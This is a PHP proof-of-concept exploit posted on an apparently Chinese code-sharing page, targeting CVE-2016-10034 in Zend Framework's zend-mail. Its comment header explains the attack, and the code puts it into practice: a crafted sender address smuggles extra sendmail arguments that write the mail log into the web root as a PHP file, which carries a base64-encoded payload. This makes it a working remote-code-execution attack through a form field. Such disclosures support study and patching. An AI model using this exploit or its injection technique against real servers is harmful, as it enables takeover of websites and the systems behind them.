扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
<?php /* Zend Framework < 2.4.11Remote Code Execution (CVE-2016-10034) zend-mail < 2.4.11 zend-mail < 2.7.2 Discovered/Coded by: Dawid Golunski https://legalhackers.com Full Advisory URL: https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034.html Video PoC https://legalhackers.com/videos/ZendFramework-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10034-PoC.html Follow the feed for updates: https://twitter.com/dawid_golunski A simple PoC (working on Sendmail MTA) It will inject the following parameters to sendmail command: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-r] Arg no. 4 == [attacker\] Arg no. 5 == [-oQ/tmp/] Arg no. 6 == [-X/var/www/cache/phpcode.php] Arg no. 7 == ["@email.com] which will write the transfer log (-X) into /var/www/cache/phpcode.php file. Note /var/www/cache must be writable by www-data web user. The resulting file will contain the payload passed in the body of the msg: 09607 <<< Content-Type: text/html; charset=us-ascii 09607 <<< 09607 <<< <?php phpinfo(); ?> 09607 <<< 09607 <<< 09607 <<< See the full advisory URL for the exploit details. */ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form with sender field $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com'; // encoded phpinfo() php code $msg_body = base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg=="); // ------------------ // mail() param injection via the vulnerability in zend-mail chdir(dirname(__DIR__)); include 'vendor/Zend/Loader/AutoloaderFactory.php'; Zend\Loader\AutoloaderFactory::factory(array( 'Zend\Loader\StandardAutoloader' => array( 'autoregister_zf' => true ) )); Zend\Mvc\Application::init(require 'config/application.php')->run(); $message= new \Zend\Mail\Message(); $message->setBody($msg_body); $message->setFrom($email_from, 'Attacker'); $message->addTo('support@localhost', 'Support'); $message->setSubject('Zend PoC'); $transport= new \Zend\Mail\Transport\Sendmail(); $transport->send($message); ?> |
体验盒子
